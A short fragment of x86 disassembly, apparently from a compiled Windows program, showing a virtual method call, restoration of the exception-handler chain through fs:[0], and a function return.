je 0x4166b4
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret